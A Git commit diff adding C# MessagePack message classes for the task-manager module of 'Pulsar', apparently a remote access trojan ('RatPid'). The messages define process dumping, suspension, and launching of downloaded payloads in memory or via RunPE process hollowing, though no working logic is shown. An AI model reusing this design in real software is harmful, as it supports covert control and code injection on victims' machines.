initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessDump : IMessage
{
[Key(1)]
public int Pid { get; set; }
}
}
@@ -0,0 +1,30 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessDumpResponse : IMessage
{
[Key(1)]
public bool Result { get; set; }
[Key(2)]
public string DumpPath { get; set; }
[Key(3)]
public long Length { get; set; }
[Key(4)]
public int Pid { get; set; }
[Key(5)]
public string ProcessName { get; set; }
[Key(6)]
public string FailureReason { get; set; }
[Key(7)]
public long UnixTime { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessEnd : IMessage
{
[Key(1)]
public int Pid { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessResponse : IMessage
{
[Key(1)]
public ProcessAction Action { get; set; }
[Key(2)]
public bool Result { get; set; }
}
}
@@ -0,0 +1,36 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessStart : IMessage
{
[Key(1)]
public string DownloadUrl { get; set; }
[Key(2)]
public string FilePath { get; set; }
[Key(3)]
public bool IsUpdate { get; set; }
[Key(4)]
public bool ExecuteInMemoryDotNet { get; set; }
[Key(5)]
public bool UseRunPE { get; set; }
[Key(6)]
public string RunPETarget { get; set; }
[Key(7)]
public string RunPECustomPath { get; set; }
[Key(8)]
public byte[] FileBytes { get; set; }
[Key(9)]
public string FileExtension { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoSetTopMost : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Enable { get; set; } // true = make topmost, false = remove
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoSetWindowState : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Minimize { get; set; } // true = minimize, false = restore
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
[MessagePackObject]
public class DoSuspendProcess : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Suspend { get; set; } // true = suspend, false = resume
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class GetProcesses : IMessage
{
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class GetProcessesResponse : IMessage
{
[Key(1)]
public Process[] Processes { get; set; }
[Key(2)]
public int? RatPid { get; set; }
}
}